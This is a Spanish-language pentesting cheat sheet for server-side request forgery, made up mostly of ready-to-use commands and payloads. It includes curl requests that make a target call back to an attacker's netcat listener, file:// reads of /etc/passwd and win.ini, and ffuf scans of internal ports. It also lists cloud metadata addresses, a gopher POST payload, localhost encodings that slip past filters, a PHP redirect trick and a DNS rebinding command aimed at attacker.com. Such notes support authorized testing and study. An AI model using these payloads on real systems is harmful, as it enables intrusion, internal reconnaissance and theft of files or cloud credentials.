Server-side request forgery (SSRF)

Identificación SSRF

# Máquina atacante
nc -lvnp <listen-port>

# Ejecución desde máquina atacante
curl -i -s "http://<target>/load?page=http://<attacker-IP-address>:<listen-port>"
curl -i -s "http://<target>/load?page=file:///etc/passwd"
curl -i -s "http://<target>/load?page=file:://///etc/passwd"
curl -i -s "http://<target>/load?page=file:///c:/windows/win.ini"
curl -i -s "http://<target>/load?page=file:://///c:/windows/win.ini"

Escaneo de puertos internos

Generación de archivo con números de puertos.

for port in {1..65535}; do echo $port >> ports.txt; done

Escaneo de puertos internos del objetivo utilizando FFuF.

# GET
ffuf -u "http://<target>/load?page=http://127.0.0.1:FUZZ" -w ports.txt -fs <size>
# POST
ffuf -u "http://<target>/load" -w ports.txt:FUZZ -X POST -d "page=http://127.0.0.1:FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fs <size>

Rangos de IP privados

  • 10.0.0.0/8

  • 172.16.0.0/12

  • 192.168.0.0/16

Direcciones de enlace local

  • Amazon Web Services (AWS): 169.254.169.254

  • Google Cloud: metadata.google.internal

Protocolos

File

file:///etc/passwd
file:///c:/windows/win.ini

Gopher

# POST
gopher://127.0.0.1:80/_POST%20/login%20HTTP/1.0%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2027%0A%0Ausername=user&password=pass

Blind SSRF

Capturar interacciones

sudo systemctl start apache2
sudo tail -f /var/log/apache2/access.log

Time-based SSRF

Podemos determinar la existencia de una vulnerabilidad SSRF observando las diferencias de tiempo en las respuestas. Este método también es útil para descubrir servicios internos.

En algunas situaciones, la aplicación puede fallar inmediatamente en lugar de tardar más en responder. Por esta razón, debemos observar cuidadosamente las diferencias de tiempo entre las solicitudes.

Payloads

localhost
127.0.0.1
2130706433
0x7f000001
0177.0000.0000.0001
127.1
127.000000000000000.1
::1
0:0:0:0:0:0:0:1
[0:0:0:0:0:ffff:127.0.0.1]
0:0:0:0:0:ffff:127.0.0.1
[::ffff:127.0.0.1]
::ffff:127.0.0.1
localtest.me
0.0.0.0
0

Redirecciones HTTP

index.php
<?php header('Location: http://127.0.0.1/'); ?>
php -S 0.0.0.0:80

DNS rebinding

dnsrebinder.py --domain attacker.com --rebind 127.0.0.1 --ip 1.1.1.1 --counter 1 --tcp --udp

Última actualización

¿Te fue útil?